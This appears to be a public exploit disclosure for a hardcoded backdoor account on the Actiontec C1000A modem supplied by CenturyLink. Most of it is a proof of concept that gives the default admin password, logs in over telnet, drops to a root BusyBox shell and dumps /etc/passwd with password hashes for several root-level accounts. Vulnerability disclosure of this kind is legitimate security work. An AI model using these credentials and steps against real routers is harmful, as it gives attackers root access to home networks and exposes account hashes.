Actiontec C1000A Modem Backdoor Account
Posted on 07 November 2017
# Exploit Title: Actiontec C1000A backdoor account # Google Dork: NA # Date: 11/04/2017 # Exploit Author: Joseph McDonagh # Vendor Homepage: https://actiontecsupport.zendesk.com/hc/en-us # Software Link: N/A Hardware # Version: Firmware CAC003-31.30L.86 # Tested on: Linux # CVE : NA # The Actiontec C1000A Modem provided by CenturyLink has hardcoded passwords. This is similar to another recent submission by Matthew Shiemo, who inspired me to check the device I use. # Proof of Concept $ telnet 192.168.0.1 ===Actiontec xDSL Router=== Login: admin Password: CenturyL1nk > sh BusyBox v1.17.2 (2015-10-30 10:34:29 CST built-in shell (ash) Enter 'help' for a list of build-in commands # cat /etc/passwd admin:Rtqa.nQhYPBRo:0:0:Administratir:/:/bin/sh support:vmiTSa8ukDkOY:0:0:Technical Support:/:/bin/sh user:Fq10qi6QmLmmY:0:0:Normal User:/:/bin/sh nobody:rZy3YulyLvuYU:0:0:nobody for ftp:/bin/sh # cat /proc/version Linux version 2.6.30 (waye@hugh-PowerEdge-R220.home) (gcc version 4.4.2 (Buildroot 2010.02-git) ) #1 SMP PREEMPT Fri Oct 30 12:32:15 CST 2015 # cat /etc/group root::0:root,admin,support,user
